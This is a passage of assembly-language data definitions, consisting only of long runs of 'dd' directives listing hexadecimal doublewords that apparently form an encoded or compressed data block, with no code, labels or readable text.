		dd 883590ADh, 4D5EE651h, 8AA438h, 0C32C29CAh, 4E44AEh
		dd 383F4C4h, 0E822BE8Bh, 0AD904F00h, 713B596Ah,	289D0093h
		dd 4ED1107Dh, 5800771Fh, 0B6F973B0h, 22264Bh, 8D07E6FCh
		dd 7F28A8DEh, 310085B0h, 0C08F51EBh, 14E740h, 7EBC5058h
		dd 3D7863F5h, 0E553DA00h, 9756A9CEh, 720E00FDh,	2FFB6D12h
		dd 23009203h, 690F2170h, 0F00265B7h, 0FFE01D19h, 3EEBC09Bh
		dd 0A2582ABEh, 82AB8D09h, 6A1C236Dh, 4B3BB8B7h,	34E800F6h
		dd 0F804D7BAh, 5A004915h, 0D30CEF81h, 1F8FB5CAh, 837B6505h
		dd 995A23Bh, 1E518180h,	0B5008CE4h, 0F950B848h,	4D2EC0h
		dd 0A29775Bh, 0E088EE9h, 0CAF0EE00h, 4F7D2790h,	0E1A03E89h
		dd 0C55B7C02h, 0B06818FDh, 0C019D19h, 0DC8367C3h, 0C140A1CFh
		dd 5219E0Ah, 39783754h,	0F56EC348h, 0DF5FEBE9h,	1F3ABB98h
		dd 0DCB49D03h, 0AF6C3E4Ah, 0BCF7C730h, 0C69B00CAh, 25BD0372h
		dd 3203F935h, 0D273B5EBh, 9ED1C843h, 0B78600CDh, 11583851h
		dd 9400442Eh, 131E5BBCh, 7CD369B3h, 0C476006Bh,	448FB9D4h
		dd 382EFE0Fh, 19006883h, 0D3CDABC0h, 6CE50039h,	9447539Fh
		dd 0FA1FB11Dh, 6B838FEEh, 0F7757D25h, 0D08683h,	5BA47411h
		dd 0D4043A27h, 87AFE438h, 0D9D21E63h, 0FEEB7710h, 0FCAC00A8h
		dd 655DD1Ch, 9D031DCDh,	5F324080h, 6B34E0E7h, 0FA8F005Eh
		dd 84DF24F7h, 0EE00CF27h, 2686DD8Eh, 1C55AABFh,	85F172A7h
		dd 296D7Eh, 0A0CBDEFCh,	0CC017333h, 0DB2A4FC3h,	0A4702BA8h
		dd 8722Dh, 18FE6622h, 0FC5BC68h, 6780D60Fh, 0D409C061h
		dd 0CE8CCBh, 648FE9C6h,	65C08DC3h, 230083EAh, 2B9D1A95h
		dd 3979ACCFh, 888716FEh, 0F09AFCA4h, 0C9F6CC80h, 7C007AFAh
		dd 5C43B99h, 213D82Fh, 73D657E3h, 0BCC0DE85h, 4C3CA241h
		dd 1682809Ch, 54474E9Dh, 63AD000Dh, 40CFAA37h, 1500A102h
		dd 0D510E868h, 501AE0CEh, 992B04Dh, 4F8E7EB2h, 8AB85000h
		dd 2B49ED55h, 982E0058h, 8721966Bh, 0CCF809FFh,	0A4804CF7h
		dd 778BA0C5h, 0D2818800h, 0E05111C7h, 34E90033h, 1E373C78h
		dd 4601C8D7h, 211A3ED6h, 4CD80D9Ah, 47C00E7h, 0E9D02B11h
		dd 0AF0122DEh, 79180690h, 63F881ECh, 32BB0086h,	3744F6B2h
		dd 72043FACh, 2061799Ch
		dd 0D138BBE8h, 0B11E9201h, 7AE02B04h, 79D70101h, 35F43E12h
		dd 0D4A23BC1h, 0CE9B0070h, 3B979F4Eh, 84784085h, 0E59DF39h
		dd 0C0B9ECEEh, 12E7DF2h, 8207004Ch, 6CFB47E7h, 1812C58Fh
		dd 0BC40DA5Fh, 0A499683Bh, 70434C66h, 61A03D00h, 0E103BFD7h
		dd 5C78BE00h, 0BAC7945Eh, 0FE510002h, 0DBCA8A49h, 6700F280h
		dd 1836DF35h, 86E4B5h, 0E2B2D3DCh, 81BDA11Eh, 0FAAAAD0Fh
		dd 0EF05206Eh, 0ABB410h, 4BE9491Ch, 1257E578h, 0F902A874h
		dd 72A12EF4h, 0FB88603Dh, 0B4B70EB3h, 3AE307D9h, 70F0CE98h
		dd 0C2006F33h, 30E4F2EAh, 22744Ch, 0BC764893h, 0A0B2108Fh
		dd 8F8AB93Ch, 7A18D0Ch,	9A802264h, 0BD715Eh, 30659D59h
		dd 0EB2B7EC5h, 0DD2D4407h, 19505388h, 38BE9952h, 0C70A77CAh
		dd 7B13E39h, 9DF7238h, 80683204h, 7EBED89Dh, 60005175h
		dd 0A732E1DCh, 9E3ACFh,	0E4CB5076h, 0B6132E16h,	3CECEA00h
		dd 7488AC5Ch, 6F90777h,	80FCD629h, 24912BD0h, 6DAAB900h
		dd 7066C6D9h, 1D0FEA87h, 0C07CEDC4h, 55A072C7h,	5200C521h
		dd 1A46DEC0h, 24209402h, 405CDC3Dh, 0A85BCE79h,	2E0755ECh
		dd 0AA560929h, 0D0A03283h, 1C5BEF0h, 465E73A4h,	0EA9C1054h
		dd 78B0BA40h, 9ED22326h, 91DCC00h, 3C906BFAh, 0EB802E69h
		dd 6A801B0Eh, 61059F7Fh, 0FF55E37Ch, 0BFD21880h, 0EF260338h
		dd 51E52593h, 4A980493h, 0AD030CC9h, 2B3E6F6Bh,	0F950FF0Ah
		dd 1014B5Ah, 0E92E6E04h, 6FF15C5Dh, 0BD1A0h, 0E01EC6D3h
		dd 0A6D020B9h, 0BF1FCF00h, 0EE2315FEh, 1C6900CAh, 0A06F35Ah
		dd 2B00AEB2h, 58D2C42Eh, 2C94A3h, 3B088217h, 1A847E3Ah
		dd 0A073D000h, 0AD7C541Bh, 50560075h, 5214BF76h, 0B5000C2Ch
		dd 0B5AAB33h, 0EA73D1h,	46A5F3Ch, 658EBFEBh, 26AC3100h
		dd 0F605D47Dh, 0F50E03D8h, 867B1A7Eh, 807FD0BAh, 9E02CEB9h
		dd 41D0E77Fh, 0FA87EE8h, 67312815h, 0C205F1C0h,	9501AEDh
		dd 0FC005284h, 62D57CC9h, 0C690A4h, 9A75B61Ch, 0D6CD45D4h
		dd 27101A00h, 5EB406A8h, 0BBA91783h, 38280090h,	0DE1FD909h
		dd 8EC1810Bh, 8B2821A0h, 0F3F882ECh, 359A1372h,	0BF700050h
		dd 5206DEE1h, 61571002h, 4031FA70h, 44EA39h, 0B1EB6EDAh
		dd 0B4CFD94Bh, 0AB4A7800h, 0D149D387h, 7B180090h, 28C8CB26h
		dd 3B00D6F3h, 0CDEDF076h, 22F69Bh, 5CB71402h, 4829D279h
		dd 4050176Eh, 27B81DA3h, 0D48B007Ah, 0B5674A60h, 5200EFEEh
		dd 0AE227E47h, 0A2D5E0h, 6C84DE9Ah, 2F97FDC0h, 37BA7500h
		dd 420D8772h, 0FBB70C20h, 9858EF1Dh, 5D1C9AB8h,	1AC01636h
		dd 47D5F8CAh, 450C0093h, 0B656DDA9h, 0B20E793Dh, 0C4FFFA90h
		dd 67C008E0h, 0F6D1363h, 1D05420h, 7CC0716h, 7C67A245h
		dd 3E520C00h, 0B0988Bh,	3182EFC2h, 0A7952FCCh, 21396900h
		dd 7B62181Ah, 1E2379B9h, 0C0C5DED0h, 924524E1h,	0E639B752h
		dd 172D0098h, 73779F7h,	0D8F6694Dh, 5A612C10h, 0C91ED500h
		dd 89FD5545h, 0EE2516CEh, 0C02C1F3Ch, 0B9C87DCAh, 0D1009518h
		dd 7CC6EA1Ah, 3D02E0B2h, 6001D19h, 778734FEh, 0F92C4E8Ah
		dd 0CC07C408h, 3A901BDFh, 0DC0B5Eh, 15E74097h, 5A9BF4AAh
		dd 0DE4A6300h, 52ABAF96h, 0A967003Ch, 2099872h,	0AC0035C1h
		dd 0ECFC879Ah, 1DB3BEFFh, 0C324E5BDh, 0BFA6C668h, 852E7CD8h
		dd 10789400h, 886266Eh,	504A00F6h, 0D6DD847Dh, 0DE00B5C3h
		dd 144063F1h, 9AE88Eh, 0AADC0DC4h, 0B769431Ch, 0CDE39F00h
		dd 37803C35h, 959C039Ah, 0C4550F46h, 4BA0EAA3h,	0F93A48B6h
		dd 243D9747h, 0E71A5403h, 859FB850h, 9049EA77h,	4CF5180Ch
		dd 0FC67613h, 8FCA5A00h, 0AB91C21Bh, 18B400F2h,	21DB4971h
		dd 0B648D85Ch, 17740139h, 6B8C270Eh, 41DD5471h,	54602B31h
		dd 607D28h, 0F3E3AF87h,	434F3992h, 1738FFFEh, 219313FAh
		dd 0E016951Dh, 41684C00h, 0CF582Ah, 0DDAE2EBAh,	8CCE6985h
		dd 0B113000h, 0A6F57D84h, 36B800A3h, 0F8AAE697h, 761D406Dh
		dd 508EDC25h, 576A8091h, 53D493Bh, 0B0E612B1h, 1DBB804Ch
		dd 0A9001336h, 4DB53A1Bh, 77C26CA8h, 3949402h, 695C0354h
		dd 85F330C8h, 537FD0Ah,	1700B734h, 715F0F8Dh, 2B263DB7h
		dd 3F4BAF82h, 88E07A03h, 74002959h, 65EACB41h, 9898CE83h
		dd 7A4230D4h, 60865910h, 434DE601h, 0EB63FA81h,	23D51883h
		dd 8458647Ch, 0C7DA0898h, 22124Eh, 96BEFC3h, 4E903DCFh
		dd 3E25F100h, 925459DDh, 0A8580E90h, 0C6C09834h, 0E1D1FE41h
		dd 97123578h, 28C3774Ah, 0D57BF872h, 1D2E243h, 3EBF4D2Fh
		dd 70199F8Dh, 0B3006D4Dh, 0EC817D27h, 247564Ah,	0A7C55B74h
		dd 8C80E102h, 8BCECFA8h, 90A05425h, 0F540BCh, 0CE23979h
		dd 5A60D3FEh, 8D158600h, 5BAFBAD9h, 0AB9B001Ah,	0CFDE25BCh
		dd 722C6997h, 0EE0070B9h, 0A84FB3E7h, 0F77A0177h, 0A86045Bh
		dd 0C3C42488h, 0DCE7200Bh, 69248096h, 38A2A13Ch, 14005B8Fh
		dd 0B12AD24Dh, 0A3F403Dh, 14A3952h, 0D51BF478h,	0EA60B261h
		dd 71ED00DCh, 67FD5B7Dh, 11D6E6F7h, 88989A00h, 0F3AF77h
		dd 4890BED3h, 0E0DE3F7h, 8A049092h, 1CEFE48Fh, 400E88C7h
		dd 0C367CD5Fh, 258E009Ch, 392A5579h, 40A064BFh,	0D1002BA3h
		dd 0C9B02CBAh, 13D9448h, 0BF68CB53h, 60337D59h,	0D00C73Ch
		dd 0A8E0321Ah, 4B7941h,	85C191EEh, 51E92BB3h, 0EABDCB00h
		dd 0E777CF8Dh, 0AD8E2528h, 0A9A79C22h, 834BECE0h, 4480FB0Fh
		dd 85CA8885h, 805E8D53h, 19265A2Ah, 0F412A901h,	5D93DA78h
		dd 9850630h, 0E190FF0Fh, 0A362D880h, 9E28DB74h,	2B01F42Dh
		dd 5568B07Bh, 0A640FB17h, 0B1DA1Fh, 0DEDF6179h,	0CF10600Ch
		dd 0BDE6EE00h, 8FB50D92h, 1788006Ah, 3C0AAEE4h,	8B00B11Ch
		dd 0C41F4C84h, 0DE0547F3h, 3F17C0F8h, 741A57FEh, 8842CA00h
		dd 0B9760EC8h, 0EE020068h, 49434499h, 0B89EF885h, 0C910F901h
		dd 4BEC847Ah, 1D930FF7h, 73C280h, 58923C7Bh, 6800C781h
		dd 0B29E9965h, 0B52825h, 0EE1FB2Bh, 57365BE0h, 0C552F800h
		dd 0FEE230E8h, 0C11E09E3h, 0A040641Dh, 50CB1C80h, 0D7A88094h
		dd 1CB66845h, 0DEE4785Bh, 7280FF4Fh, 796282BBh,	0CA00381Ah
		dd 0E0E7046Eh, 2E0C65h,	0E6F63198h, 0C7C2644Fh,	28AE4Dh
		dd 81E003FBh, 75726C0h,	1DB3D2FAh, 0A4F21063h, 0B9007889h
		dd 0BA22933h, 2A6140h, 6B60AEC4h, 3646769Fh, 0F19B7A00h
		dd 0A8C68272h, 3D0B0EBFh, 0A7460448h, 31001099h, 0C663C00Dh
		dd 479F1Ah, 0F93E4334h,	15C3030Ch, 613AB400h, 0C0CC21F4h
		dd 0E1080BB9h, 0ABF041E5h, 0FED60200h, 1ACF6E95h, 0BE4706Ah
		dd 693B242Eh, 0D74CF580h, 0CB00889Eh, 5A72EFAAh, 753A823Eh
		dd 0BADF00A2h, 9B815142h, 1DE095D4h, 0F879AD01h, 0EDCEF40h
		dd 54C7E0h, 150530FFh, 0BEB68BA5h, 7262E31Dh, 0EFA6140h
		dd 7581F32Dh, 7ADE00E8h, 877FB59Ah, 0EB00B933h,	8AD4CBDBh
		dd 3C611AE0h, 46006D51h, 0F606D059h, 4F01CFDDh,	0BB8453Dh
		dd 87F8DB1Ch, 42370043h, 55572F30h, 0A5003C70h,	0EF4F58CEh
		dd 0B9D22D9h, 2BA1B77Bh, 0F4B02380h, 0B00BD30h,	0ADA0B42Ah
		dd 279E76h, 8F9728A8h, 206FD038h, 537D3F03h, 0C80F3185h
		dd 0E1FB6ADh, 1B5B1C79h, 0AC8967A0h, 7672A330h,	61C09D78h
		dd 0BA57A602h, 8AD70144h, 952072E8h, 0DD11D058h, 0AB7C841Eh
		dd 7E3B1E40h, 4333D4h, 7BB957E9h, 4407D894h, 842528C5h
		dd 612C7D80h, 15B31678h
		dd 0ED159Eh, 7486593Fh,	3101FCA0h, 0E05AA00h, 0A21A9590h
		dd 9BEAA9h, 0E7FD803Bh,	51B70882h, 0DD424Ch, 7DD3663Fh
		dd 0E2AAE9h, 34C5B9A9h,	0F19EEEB3h, 1C5ED600h, 638040DDh
		dd 0C4511EA1h, 49160010h, 1D01AC65h, 0E96EB300h, 9628DDBh
		dd 0EC2DE48Bh, 9D323E5Bh, 84B43C14h, 7EF0952Ah,	0D526004Dh
		dd 9B5C5DEFh, 0DA305FA6h, 0F89FB924h, 0E9C63A17h, 0FE254307h
		dd 8D09909Ah, 3D0014C2h, 7A481D27h, 9D0447h, 3FA52FC1h
		dd 0BE45AB41h, 0B80174B0h, 0DF37C615h, 0FDD0CF07h, 970E01A9h
		dd 27B2A188h, 0C044D085h, 3BFEF500h, 0B7CD90DBh, 0F6AC004Fh
		dd 0BA42A740h, 1851A1FDh, 0AAEDD4ECh, 0C0697239h, 19EEACBh
		dd 0E814B32Bh, 0F442C187h, 94034632h, 5712C737h, 3DF4A020h
		dd 41E0350h, 30F09845h,	0E4C6590h, 7902B8EEh, 9DE2E622h
		dd 0E1B4E04Bh, 5CE724BAh, 20E500B0h, 0BD4AD2B0h, 1146F300h
		dd 475054Dh, 0C4363D93h, 88407680h, 0C5B2A92Fh,	899A3Eh
		dd 0E9EB5C50h, 98F1A4Fh, 4B955B0Ch, 2F5CB00h, 0D900B4CCh
		dd 8BB1E34h, 0F72C168h,	49B88ADAh, 78285A00h, 0D2038982h
		dd 0AD509C96h, 0C7C04C3Ch, 6857A800h, 0CE9F54E5h, 56ADB00h
		dd 426CA3AFh, 0DA2200C6h, 0FBACE9D8h, 0A973FE73h, 0E101F173h
		dd 472A65AFh, 2470E509h, 27F200ACh, 924A5B6Ch, 39016DE7h
		dd 0B6BC5011h, 36F98FC4h, 2A570h, 0EF87C7D3h, 6586066Dh
		dd 0DD079E0Fh, 192E009Dh, 4E2DF75h, 7999F48Bh, 8011D748h
		dd 0FE5E7CC7h, 2B14A000h, 0B3FC3DF8h, 4C05EE1Fh, 0A201D789h
		dd 5AF00ED5h, 0D08CF5D6h, 21003A76h, 24A47871h,	0EB2F58h
		dd 46C90144h, 2B155497h, 204C3100h, 66E02506h, 60FCA2E5h
		dd 0FEE7F05h, 626ADE1Eh, 0A278B380h, 0C7011A09h, 0E7353B9Fh
		dd 80CC57D1h, 0F1B40314h, 21CEA03h, 0C76C7098h,	5803D098h
		dd 1ED9DF90h, 650590EBh, 743400FEh, 5064E504h, 0A3001B5Eh
		dd 5193D533h, 692272h, 157C8CBh, 0B4605FFDh, 1180310Eh
		dd 845A41BCh, 9860D7B5h, 321200F4h, 927E3DEBh, 0A4FA6830h
		dd 83E10900h, 65B33A02h, 0E07A61h, 0B8E7DE18h, 0A95A88C6h
		dd 984CF103h, 887B73A6h, 1C5C341h, 49F5534Fh, 60F1F602h
		dd 6702254Ah, 3754E845h, 508080D9h, 7D7E27h, 0CE40ACC3h
		dd 64C657CDh, 13249C4Ch, 6B051AD0h, 44805359h, 0A37A03h
		dd 0C0317E9Fh, 414C2CE6h, 0CAB13D02h, 40BAFA79h, 5A1EC28h
		dd 1D8AF095h, 0E5C4470Fh, 2726701Ch, 2E036673h,	0C52850A9h
		dd 0B93AD095h, 0DC4B0094h, 0BF5AFCABh, 82ECF2F7h, 888A9B00h
		dd 7F9A9906h, 0E0100084h, 9146070Ch, 2F755E71h,	0A8F82C05h
		dd 0BCC03C83h, 105445h,	67D505FEh, 2C57739Fh, 80752E3Fh
		dd 0C1FB33FAh, 67AA55A5h, 0C0997AF9h, 14B15E2h,	4AEA100h
		dd 9F2F3E7Bh, 0E75600A7h, 78753CC8h, 0C700CB31h, 79E05308h
		dd 3D9E6660h, 0DA8FAC57h, 4F00E8C1h, 0C9E45C33h, 0EEB0096Fh
		dd 0ECD3405Bh, 902DB1h,	0ED27E091h, 5CFC3FBh, 7AD67E00h
		dd 0BE62691Dh, 24CA7560h, 0F70B0DFh, 4120106Ah,	96D65B8h
		dd 0F54C9B00h, 66D4A22Ah, 6F7101F3h, 9E5F89C7h,	0F6E1E816h
		dd 4D413100h, 834E554Ah, 0B345005Eh, 0B640518h,	9917E95Fh
		dd 0B70093F0h, 0BE7389D8h, 0A68600C0h, 2BF45E82h, 4000FEA4h
		dd 7976E1ADh, 1294E5h, 75476D96h, 0CCBF2C1Ah, 0FF5DC702h
		dd 0C09320CEh, 69A563h,	0E3087571h, 0C4ADD123h,	33622C00h
		dd 0F5F08446h, 0A27F0168h, 0D9852A11h, 0B279703Bh, 433CE300h
		dd 4C1B603Fh, 648D0190h, 44028F14h, 0EA7EC8E5h,	6201D2FAh
		dd 0C93910FDh, 887ECAAh, 0F6DA5Bh, 68661540h, 4F827600h
		dd 0F7CCC422h, 0DFF4077Dh, 0D0BE6571h, 94175B0Ah, 80D0E53Ah
		dd 30B132BFh, 193D8Bh, 2A407CA9h, 0CCEEB83h, 966FE600h
		dd 4BBD9DF2h, 0EF0100FDh, 4C8786Bh, 0AB0085EDh,	48D463F3h
		dd 143F93h, 121F26Ch, 78382232h, 1D750600h, 0DEA562BCh
		dd 0E79906D1h, 10699E45h, 0DCC0F01Ch, 502B5180h, 0C36166Fh
		dd 63D043DBh, 0A40F5220h, 0A732C5EFh, 8CE0209Fh, 0D7B096h
		dd 4999E8D8h, 8BA0E29Dh, 0F8037507h, 22719501h,	0D6C577D1h
		dd 3D3EC4h, 0D0CA1B9Ch,	54AB092Dh, 39F158h, 470CEA6Ch
		dd 28EE9h, 83947815h, 8A3171E4h, 84DB1700h, 0E0A4CAB6h
		dd 0F2A7095Bh, 0B2803CAFh, 53D80CC1h, 11903Ah, 0A989D9B7h
		dd 3D72E294h, 0F280182Ch, 66FE0D82h, 2A00789Ah,	65B24B77h
		dd 3AABD645h, 2E007BDEh, 0A8547EDh, 0FE00B968h,	0B3B298D0h
		dd 4CC289A1h, 3775337h,	3CAEA793h, 7900B9E5h, 1C770965h
		dd 312D75h, 0A8DEAA49h,	480AB2C3h, 7D1688A8h, 54091503h
		dd 88385121h, 8AF990h, 298E611Eh, 527B45E4h, 0CE22F500h
		dd 2A7A85D1h, 0E9F7801h, 7FF940CBh, 0F3307B40h,	413DE7F1h
		dd 733600F8h, 322DD73Ch, 3BDA003Fh, 1A5D9D38h, 65005840h
		dd 0F711117h, 1F8C3C7Ch, 0C09266BEh, 3144D3A1h,	4200C8B0h
		dd 0AD69F3FDh, 1D89AE13h, 0C077A0A8h, 37DEF17Ch, 3D0063F8h
		dd 2B6CDDCEh, 3DD273DBh, 0E1801483h, 0BDE9B041h, 0E1F61C3h
		dd 91408877h, 992498F7h, 0EE940035h, 7C13541Ah,	7500A1A0h
		dd 0F2EB8B3Ah, 103142h,	0ED8ED00Ah, 0AEEEBF8Ch,	0F984FB00h
		dd 1703FF2Eh, 987F0038h, 89427E5Ch, 0FA00E7F0h,	1AE14D7Bh
		dd 0E0210Ch, 9A04EC80h,	0AB7719A9h, 0DD5E300h, 25F6487h
		dd 53E500C4h, 3416C3D6h, 3C00BC7Eh, 0E05486A7h,	0C2B0DAh
		dd 6FBB0ADCh, 0E6A3F128h, 0D900CAB0h, 777BF46Bh, 0FA858FE0h
		dd 6E10C06Ah, 674709A1h, 0E4D2B516h, 69CF7507h,	0B6BFAFF0h
		dd 785D002Dh, 2670F9C7h, 9C7D0F50h, 2200BA76h, 1B44C24Eh
		dd 3C6635DBh, 7100E989h, 0ABEC34D3h, 81007376h,	0A60AF85h
		dd 3BB7B377h, 0C9CC1579h, 385A5430h, 0D800CF81h, 8992477Ch
		dd 0E81F3120h, 0E0DB4B3Eh, 91C03C1Ah, 0B99B1A38h, 50D00A7h
		dd 0B6D06F51h, 0D300F7F1h, 3B9719C5h, 0F40B94Fh, 0F921469h
		dd 9C2DCFE3h, 0EC31D7B1h, 0AC0002CAh, 0E8A8FED1h, 30D4F142h
		dd 6D30983Ch, 4D13EC2Ch, 3900AA74h, 0FAA95576h,	0E476DDh
		dd 5410AF64h, 0B50C7BFEh, 4F435800h, 4B87C4D2h,	0A83300DDh
		dd 0C885BE08h, 6902AB13h, 7058C173h, 31284016h,	0A60744Eh
		dd 101CB68Ah, 44290098h, 0FFF889A2h, 6811FD00h,	4CEA9F15h
		dd 39B4623Dh, 23114B48h, 995F2610h, 0CD02FE0Eh,	0B394A061h
		dd 27DABBh, 0C9B8D3ACh,	0B92E5338h, 50C4A47Fh, 98481DCDh
		dd 7483A000h, 3BDD339Bh, 3500A71Ah, 23B5D9ECh, 0DCEE386Ch
		dd 97908500h, 4DFCE433h, 0C39F0DEh, 3502DAFh, 8F00A4DAh
		dd 993C191Bh, 81FB40h, 0C40D2612h, 53A3B882h, 86D6DB02h
		dd 40969559h, 0D9C87Ah,	0F3BBA055h, 44BE7EC1h, 6A0D2A00h
		dd 996421AAh, 80C76025h, 6B637A69h, 0A500F57Ch,	90345CB8h
		dd 0D3BB41h, 7A36F716h,	0D5519F8Dh, 0A7BE1200h,	15C322CDh
		dd 44E0AAh, 0A0EAEF74h,	929D3FEBh, 0AF557000h, 1EE0D10Dh
		dd 6C45137Ah, 2E8101DFh, 60D8CB20h, 0BF00D307h,	85FA2A7Bh
		dd 7F037863h, 0C98600F5h, 8029D80Fh, 0B47DCDACh, 0B0FADC13h
		dd 0AA1BF0h, 2B24882Ah,	6B1A1257h, 117F3E00h, 2F5ADDC3h
		dd 0E2910042h, 0CAA915AEh, 320320B3h, 0D0B435BAh, 443AD876h
		dd 978F1A27h, 0D8C078F9h, 64761924h, 1ED6961Ch,	0B5662F00h
		dd 923DE9h, 0AFC12B17h
		dd 0A474D015h, 88A038h,	31650332h, 17580F5h, 84AA0DCDh
		dd 0F44E79CAh, 0D97B5C3Dh, 33001C75h, 7EDAB108h, 3D48098h
		dd 7792378h, 58881A41h,	214C5EB6h, 3EBA0019h, 33E1EFF8h
		dd 0F70100BEh, 735D312h, 0C0EE9643h, 9ACB870Ch,	5B2A2Bh
		dd 0AC67CC8Ch, 9DBE3F03h, 39BFF806h, 0FEE40Ch, 0ED2AF396h
		dd 0B0C2AB0Dh, 0B43EC6FCh, 90A8A21h, 0A10DB48Fh, 0E5F41132h
		dd 97C4004Eh, 0C6DD1F9Bh, 0F6FEA2F9h, 0CE88F309h, 0F1080045h
		dd 758DA13h, 3D0DD6BAh,	0F09B063h, 86006E2Ch, 61531DCEh
		dd 23E14Bh, 91748D1Bh, 16DE1C9Ch, 0CD923200h, 263E0CAh
		dd 0E40B0F9Eh, 0FEA0408Ah, 0B5BA1399h, 0CFD9AA00h, 4968501Ah
		dd 8833000Fh, 23AD59D1h, 3814F73Ch, 0B057A2h, 8E996FDBh
		dd 3E54CCh, 10B08B90h, 0B436F0C2h, 0BC58E6FCh, 256020Ch
		dd 0E01883F5h, 12220462h, 0E80AAFh, 6C51C1CBh, 0B8077BC5h
		dd 0F3288B02h, 8F4A150h, 7249130Eh, 0E4F101DFh,	0F089A5F7h
		dd 0C81C25D0h, 21F0B110h, 19BAC74h, 0E89DE4EEh,	0F0C40EB5h
		dd 3303D25Eh, 0CEBDB3C8h, 82E08076h, 7C2C1D3Fh,	9DD90BC6h
		dd 10836400h, 2D032509h, 0D7D1E262h, 573000BBh,	986A6FBFh
		dd 0FC00F294h, 0CC2F4092h, 3AD150Ah, 856B84DCh,	4FB887EEh
		dd 6501A0AAh, 9C35CA2Ch, 0CDE4AF76h, 645005Dh, 42C7BCE7h
		dd 9F035F90h, 35AE7077h, 0B618030Ch, 259AD794h,	0A87D1EE8h
		dd 0A9462B00h, 0EC62967Ch, 0ABF01F83h, 0CE09C03Eh, 0E1F124C3h
		dd 57E827F2h, 5D1B6300h, 797FE605h, 4B3901D8h, 0EF54DBECh
		dd 7DC3DC76h, 6919C802h, 0E0026553h, 0FA48681h,	9BB9373Ch
		dd 0F99F12A0h, 9007EE58h, 1B68CCEFh, 0E026C490h, 0B39E00E2h
		dd 0D1F76436h, 5A3B49FAh, 22950CC1h, 0CA4200Fh,	0F2C2DA89h
		dd 8C1D1098h, 0DF00F441h, 0B55DF51Fh, 0D38507EFh, 0F04EC1FFh
		dd 9D578AB2h, 0F8E8D200h, 0DB314993h, 513F00DFh, 0FECABEC7h
		dd 5609DCA9h, 804DD561h, 0EC193562h, 2E0B139Dh,	0F57300BCh
		dd 0D822699Ch, 0EAC1E100h, 903A86D0h, 0D28800C5h, 20D52E55h
		dd 76094354h, 0FC1DF75h, 0DA604014h, 953B8AAFh,	0BD1479C0h
		dd 0FB42D000h, 4E121DB1h, 0F0CF5BF2h, 8B3CA995h, 0CC7D0752h
		dd 20C0FFEFh, 21C7A76h,	2C67BD9Eh, 98405944h, 0CCA8ABB3h
		dd 0D3039641h, 0F6F36EC7h, 218CD898h, 0C43700F9h, 4663A6FCh
		dd 0B4E4801Ch, 8015563Bh, 0B7715007h, 0BE11983h, 0EA874292h
		dd 735DED80h, 7A4C9F32h, 962D0061h, 18F9936Ch, 0A4690023h
		dd 68435F56h, 48007359h, 1F6E0D7Ah, 0D624C2h, 0C41EE1DBh
		dd 0BAF704AFh, 20F4EF26h, 41409024h, 0DDABA6h, 8FC66B83h
		dd 0B266104Dh, 2A2F200Bh, 52FD80D6h, 1F5E671h, 5FADDF70h
		dd 0F4981BF3h, 27179B67h, 9F091E7h, 6BA700FCh, 80BA577Ah
		dd 743A4EE6h, 7FB0806Fh, 0E2E7F5D1h, 1E30FEFFh,	80D9C047h
		dd 0BB294217h, 0B702489h, 8799523Bh, 941E8CE6h,	350849A0h
		dd 92191E9Ah, 5DDC802Dh, 77BB4696h, 0B4BCBF0Eh,	0FB40FE3Bh
		dd 8A9923D2h, 26562411h, 3E4D0140h, 0ECD7E745h,	6200D5BEh
		dd 0CE50FC0Eh, 242AC38Bh, 1FD66C39h, 0B8880E7h,	0B2E5E319h
		dd 9D9A5800h, 1611BE5Bh, 94630028h, 0C2EF749h, 0F21D5597h
		dd 0ECC041A9h, 0B01D373h, 66F40042h, 2F15F6D6h,	38007AD5h
		dd 88723C8Dh, 2FF252Ch,	0ABA704C2h, 0B8E13362h,	0B83FC4EEh
		dd 26809200h, 0DCE9B3A0h, 13F000F2h, 0EC1554E2h, 6414E61Eh
		dd 489CC605h, 6B7906B4h, 10BDB9h, 44183D8h, 35B8992Bh
		dd 13249314h, 94F207D6h, 0B9B06EEFh, 0F0CBB370h, 0CF201287h
		dd 0C2C8004Dh, 84F6147Ah, 0C6EBA701h, 31DAEF3Dh, 0DFD9C4h
		dd 0D4852B40h, 68BBE40Fh, 0EFF2DB71h, 0A101BCEEh, 25BD8B66h
		dd 24FB08F1h, 0C1F91h, 0FBF9FF27h, 4303A9E6h, 74A8DD8Fh
		dd 6DA0CF41h, 335796Bh,	95DBC2Fh, 68E02BBDh, 0C800A593h
		dd 147315CCh, 420461h, 0D0ECB9A9h, 7BB30543h, 1B49BF0Eh
		dd 0AC40B2DBh, 112A890Eh, 8D1D0081h, 2279998Ch,	0FC3F19E9h
		dd 809A01AAh, 0CF116BDh, 1A7D660h, 929E48BAh, 0F425C373h
		dd 0B8007EF8h, 426F5505h, 26A0E38h, 5EA8E126h, 0FC656179h
		dd 0BF4C92h, 0C765FFF3h, 900E1F7h, 2FB5D122h, 75FBEAh
		dd 385736A3h, 0AE5066EBh, 0D9C5C60Fh, 4055AF4Bh, 88E828E2h
		dd 0B65E0060h, 667A022Ch, 0FE0F76A7h, 0E4DA5B9Bh, 0A4D0FD36h
		dd 71626Fh, 9D5C0250h, 0B374DB0Ch, 0EA9CFE01h, 0D5EBF61Dh
		dd 2E94E4h, 0FCB242DAh,	8E49D2E6h, 6BFEC200h, 0B54E1067h
		dd 0AE1009Fh, 63652270h, 3B2E35C6h, 8700DCF3h, 40D5ABD2h
		dd 91DA02CBh, 1BDD3EFDh, 0FB0BDC68h, 0EA824D00h, 0EBF46A06h
		dd 96EF01E9h, 0B969656Dh, 3F54D440h, 0C31DBF16h, 0BAA68401h
		dd 46C91551h, 0BDE485F9h, 70060018h, 9984EFF3h,	0FC01AF65h
		dd 43B3C417h, 4420E867h, 8A720024h, 0CB3E3DB6h,	0EE1DD17Eh
		dd 8C3A87CCh, 90580893h, 0C9A71BC2h, 0E9C0306Ch, 8D1D78CFh
		dd 2906E7EAh, 3E18B64Fh, 8000C7EBh, 55F445D6h, 0D1007D15h
		dd 1E9EAABh, 0AA55C38h,	0F793054Bh, 9ED9002Ch, 6EB9B6Bh
		dd 5E6D0103h, 0B8D7FBAEh, 0EB72B72h, 98CC16D1h,	193CA9Ch
		dd 6BAC801Ch, 3406E841h, 2F98FC00h, 0D30E0911h,	7C2B7B19h
		dd 4E3A3D73h, 406EC09Ch, 42ACD6C1h, 0A032FF2h, 6D16F984h
		dd 0F10CC87Eh, 0C219004Bh, 0A3E2CF05h, 0D005B8Ah, 0CD32A41Fh
		dd 1D574A64h, 0C0FD9A88h, 0A1E9B2A5h, 2A00050Fh, 66FA7E27h
